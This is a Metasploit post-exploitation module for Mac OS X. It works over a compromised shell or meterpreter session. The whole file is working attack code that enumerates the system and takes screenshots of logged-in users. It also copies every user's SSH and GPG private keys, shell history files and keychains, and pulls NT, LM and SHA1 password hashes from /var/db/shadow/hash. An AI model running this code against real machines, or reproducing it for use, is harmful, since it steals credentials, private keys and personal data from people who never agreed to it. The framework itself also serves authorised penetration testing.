## # $Id$ ## ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'OS X Gather Mac OS X System Information Enumeration', 'Description' => %q{ This module gathers basic system information from Mac OS X Tiger, Leopard and Snow Leopard systems. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Version' => '$Revision$', 'Platform' => [ 'osx' ], 'SessionTypes' => [ "shell" ] )) end # Run Method for when run command is issued def run case session.type when /meterpreter/ host = sysinfo["Computer"] when /shell/ host = session.shell_command_token("hostname").chomp end print_status("Running module against #{host}") running_root = check_root if running_root print_status("This session is running as root!") end ver_num = get_ver log_folder = log_folder_create() enum_conf(log_folder) enum_accounts(log_folder, ver_num) get_crypto_keys(log_folder) screenshot(log_folder, ver_num) dump_hash(log_folder,ver_num) if running_root dump_bash_history(log_folder) get_keychains(log_folder) end # Function for creating the folder for gathered data def log_folder_create(log_path = nil) #Get hostname case session.type when /meterpreter/ host = Rex::FileUtils.clean_path(sysinfo["Computer"]) when /shell/ host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp) end # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo ) else logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo ) end # Create the log directory ::FileUtils.mkdir_p(logs) return logs end # Checks if running as root on the target def check_root # Get only the account ID case session.type when /shell/ id = session.shell_command_token("/usr/bin/id -ru").chomp when /meterpreter/ id = cmd_exec("/usr/bin/id","-ru").chomp end if id == "0" return true else return false end end # Checks if the target is OSX Server def check_server # Get the OS Name case session.type when /meterpreter/ osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp when /shell/ osx_ver = session.shell_command_token("/usr/bin/sw_vers -productName").chomp end if osx_ver =~/Server/ return true else return false end end # Enumerate the OS Version def get_ver # Get the OS Version case session.type when /meterpreter/ osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp when /shell/ osx_ver_num = session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp end return osx_ver_num end def enum_conf(log_folder) platform_type = session.platform session_type = session.type profile_datatypes = {"OS" => "SPSoftwareDataType", "Network" => "SPNetworkDataType", "Bluetooth" => "SPBluetoothDataType", "Ethernet" => "SPEthernetDataType", "Printers" => "SPPrintersDataType", "USB" => "SPUSBDataType", "Airport" => "SPAirPortDataType", "Firewall" => "SPFirewallDataType", "Known Networks" => "SPNetworkLocationDataType", "Applications" => "SPApplicationsDataType", "Development Tools" => "SPDeveloperToolsDataType", "Frameworks" => "SPFrameworksDataType", "Logs" => "SPLogsDataType", "Preference Panes" => "SPPrefPaneDataType", "StartUp" => "SPStartupItemDataType"} shell_commands = { "TCP Connections" => ["/usr/sbin/netstat","-np tcp"], "UDP Connections" => ["/usr/sbin/netstat","-np udp"], "Environment Variables" => ["/usr/bin/printenv",""], "Last Boottime" => ["/usr/bin/who","-b"], "Current Activity" => ["/usr/bin/who",""], "Process List" => ["/bin/ps","-ea"] } print_status("Saving all data to #{log_folder}") # Enumerate first using System Profiler profile_datatypes.each do |name,profile_datatypes| print_status("\tEnumerating #{name}") # Run commands according to the session type if session_type =~ /meterpreter/ returned_data = cmd_exec("system_profiler",profile_datatypes) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) elsif session_type =~ /shell/ begin returned_data = session.shell_command_token("/usr/sbin/system_profiler #{profile_datatypes}",15) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) rescue end end end # Enumerate using system commands shell_commands.each do |name, command| print_status("\tEnumerating #{name}") # Run commands according to the session type begin if session_type =~ /meterpreter/ command_output = cmd_exec(command[0],command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) elsif session_type =~ /shell/ command_output = session.shell_command_token(command.join(" "),15) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) end rescue print_error("failed to run #{name}") end end end def enum_accounts(log_folder,ver_num) # Specific commands for Leopard and Snow Leopard leopard_commands = { "Users" => ["/usr/bin/dscacheutil","-q user"], "Groups" => ["/usr/bin/dscacheutil","-q group"] } # Specific commands for Tiger tiger_commands = { "Users" => ["/usr/sbin/lookupd","-q user"], "Groups" => ["/usr/sbin/lookupd","-q group"] } if ver_num =~ /10\.(6|5)/ shell_commands = leopard_commands else shell_commands = tiger_commands end shell_commands.each do |name, command| print_status("\tEnumerating #{name}") # Run commands according to the session type if session.type =~ /meterpreter/ command_output = cmd_exec(command[0],command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) elsif session.type =~ /shell/ command_output = session.shell_command_token(command.join(" "),15) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) end end end # Method for getting SSH and GPG Keys def get_crypto_keys(log_folder) # Run commands according to the session type if session.type =~ /shell/ # Enumerate and retreave files according to privilege level if not check_root # Enumerate the home folder content home_folder_list = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ") # Check for SSH folder and extract keys if found if home_folder_list.include?("\.ssh") print_status(".ssh Folder is present") ssh_folder = session.shell_command_token("/bin/ls -ma ~/.ssh").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") ssh_file_content = session.shell_command_token("/bin/cat ~/.ssh/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) end end # Check for GPG and extract keys if found if home_folder_list.include?("\.gnupg") print_status(".gnupg Folder is present") gnugpg_folder = session.shell_command_token("/bin/ls -ma ~/.gnupg").chomp.split(", ") gnugpg_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") gpg_file_content = session.shell_command_token("/bin/cat ~/.gnupg/#{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{name}",gpg_file_content) end end else users = [] case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users") when /shell/ users_folder = session.shell_command_token("/bin/ls /Users") end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end users.each do |u| user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ") if user_folder.include?("\.ssh") print_status(".ssh Folder is present for #{u}") ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.ssh/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) end end end users.each do |u| user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ") if user_folder.include?("\.ssh") print_status(".gnupg Folder is present for #{u}") ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.gnupg/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) end end end end end end # Method for capturing screenshot of targets def screenshot(log_folder, ver_num) if ver_num =~ /10\.(6|5)/ print_status("Capturing screenshot") picture_name = ::Time.now.strftime("%Y%m%d.%M%S") if check_root print_status("Capturing screenshot for each loginwindow process since privilage is root") if session.type =~ /shell/ loginwindow_pids = session.shell_command_token("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n") loginwindow_pids.each do |pid| print_status("\tCapturing for PID:#{pid}") session.shell_command_token("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg") file_local_write(log_folder+"//screenshot_#{pid}.jpg", session.shell_command_token("/bin/cat /tmp/#{pid}.jpg")) session.shell_command_token("/usr/bin/srm -m -z /tmp/#{pid}.jpg") end end else # Run commands according to the session type if session.type =~ /shell/ session.shell_command_token("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg") file_local_write(log_folder+"//screenshot.jpg", session.shell_command_token("/bin/cat /tmp/#{picture_name}.jpg")) session.shell_command_token("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg") end end print_status("Screenshot Captured") end end def dump_bash_history(log_folder) print_status("Extracting history files") # Run commands according to the session type users = [] case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users").chomp current_user = cmd_exec("/usr/bin/id","-nu").chomp when /shell/ users_folder = session.shell_command_token("/bin/ls /Users").chomp current_user = session.shell_command_token("/usr/bin/id -nu").chomp end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end # If we are root lets get root for when sudo was used and all users if current_user == "root" # Check the root user folder root_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ") root_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for root") print_status("\tDownloading #{f.strip}") sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file) end end # Getting the history files for all users users.each do |u| # Lets get a list of all the files on the users folder and place them in an array user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ") user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{u}") print_status("\tDownloading #{f.strip}") sh_file = session.shell_command_token("/bin/cat /Users/#{u}/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file) end end end else current_user_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ") current_user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{current_user}") print_status("\tDownloading #{f.strip}") sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file) end end end end # Dump SHA1 Hashes used by OSX, must be root to get the Hashes def dump_hash(log_folder,ver_num) print_status("Dumping Hashes") users = [] host,port = session.tunnel_peer.split(':') case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users") when /shell/ users_folder = session.shell_command_token("/bin/ls /Users") end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end # Path to files with hashes nt_file = ::File.join(log_folder,"nt_hash.txt") lm_file = ::File.join(log_folder,"lm_hash.txt") sha1_file = ::File.join(log_folder,"sha1_hash.txt") # Process each user users.each do |user| if ver_num =~ /10\.(6|5)/ case session.type when /meterpreter/ guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp when /shell/ guid = session.shell_command_token("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp end elsif ver_num =~ /10\.(4|3)/ case session.type when /meterpreter/ guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp when /shell/ guid = session.shell_command_token("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp end end # Extract the hashes case session.type when /meterpreter/ sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp when /shell/ sha1_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp nt_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp lm_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp end # Check that we have the hashes and save them if sha1_hash !~ /00000000000000000000000000000000/ print_status("\tSHA1:#{user}:#{sha1_hash}") file_local_write(sha1_file,"#{user}:#{sha1_hash}") report_hash = { :host => host, :port => 0, :sname => 'sha1', :user => user, :pass => sha1_hash, :active => false } end if nt_hash !~ /000000000000000/ print_status("\tNT:#{user}:#{nt_hash}") file_local_write(nt_file,"#{user}:#{nt_hash}") report_hash = { :host => host, :port => 445, :sname => 'smb', :user => user, :pass => sha1_hash, :active => true } end if lm_hash !~ /0000000000000/ print_status("\tLM:#{user}:#{lm_hash}") file_local_write(lm_file,"#{user}:#{lm_hash}") report_hash = { :host => host, :port => 445, :sname => 'smb', :user => user, :pass => sha1_hash, :active => true } end end end # Download configured Keychains def get_keychains(log_folder) users = [] case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users").chomp when /shell/ users_folder = session.shell_command_token("/bin/ls /Users").chomp end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end if check_root users.each do |u| print_status("Enumerating and Downloading keychains for #{u}") keychain_files = session.shell_command_token("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n") keychain_files.each do |k| keychain_file = session.shell_command_token("/bin/cat #{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file) end end else current_user = session.shell_command_token("/usr/bin/id -nu").chomp print_status("Enumerating and Downloading keychains for #{current_user}") keychain_files = session.shell_command_token("usr/bin/security list-keychains").split("\n") keychain_files.each do |k| keychain_file = session.shell_command_token("/bin/cat #{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file) end end end end